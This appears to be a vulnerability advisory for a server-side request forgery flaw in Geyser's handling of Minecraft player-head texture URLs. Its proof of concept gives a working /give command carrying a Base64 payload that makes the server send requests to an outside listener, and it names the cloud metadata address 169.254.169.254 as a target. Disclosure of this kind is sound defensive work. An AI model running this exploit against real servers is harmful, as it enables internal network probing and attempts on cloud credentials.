Geyser Vulnerable to Server-Side Request Forgery (SSRF) via Player Head Texture URL in Geyser

Summary

A server-side request forgery (SSRF) vulnerability exists in Geyser’s handling of Bedrock player head texture data.
By supplying a crafted Base64-encoded skin texture URL via the /give command, an attacker can cause the Minecraft server to issue arbitrary HTTP GET requests to attacker-controlled or internal endpoints.
This occurs server-side, without proper URL validation, and can be triggered by a Bedrock client.

Details

Geyser allows Bedrock clients to interact with Java Edition mechanics, including the creation of custom player heads using the minecraft:profile NBT structure.

When a player head is created with a custom textures property, Geyser processes the Base64-encoded JSON value and forwards the embedded texture URL for resolution.
However, the URL contained in the textures.SKIN.url field is not sufficiently validated.

PoC

1. Setup Environment:

   • Set up a Minecraft Server (Paper/Spigot) with the latest version of Geyser installed.
   • Ensure you have a Bedrock client connected.

2. Prepare Listener:

   • Go to webhook.site and obtain a unique URL (e.g., https://webhook.site/YOUR-UUID).

3. Construct Payload:

   • Create a JSON payload pointing to your listener URL:
     {"textures":{"SKIN":{"url":"https://webhook.site/YOUR-UUID"}}}
   • Encode this JSON string to Base64.
     (You can use a terminal command: echo -n '{"textures":{"SKIN":{"url":"..."}}}' | base64)

4. Execute Command:

   • Run the following command in the Bedrock Edition client:
     /give @p minecraft:player_head[minecraft:profile={properties:[{name:"textures",value:"[PASTE_BASE64_HERE]"}]}]

5. Verify:

   • Check the webhook.site dashboard.
   • You will see an HTTP GET request originating from the Minecraft Server's IP address, not the client's IP.

Impact

This vulnerability allows server-side request forgery (SSRF) from the Minecraft server to arbitrary HTTP endpoints.

Affected Parties

• Minecraft servers running Geyser
• Server operators exposing internal or cloud metadata endpoints

Potential Impacts

• Internal network probing (e.g., intranet services, admin panels)
• Cloud metadata access attempts (e.g., 169.254.169.254)
• IP address disclosure of the Minecraft server
• Abuse of the server as an HTTP request proxy

Although the vulnerability is blind SSRF (no response data returned to the attacker), it is still useful for:

• Network mapping
• Firewall bypass attempts
• Cloud environment fingerprinting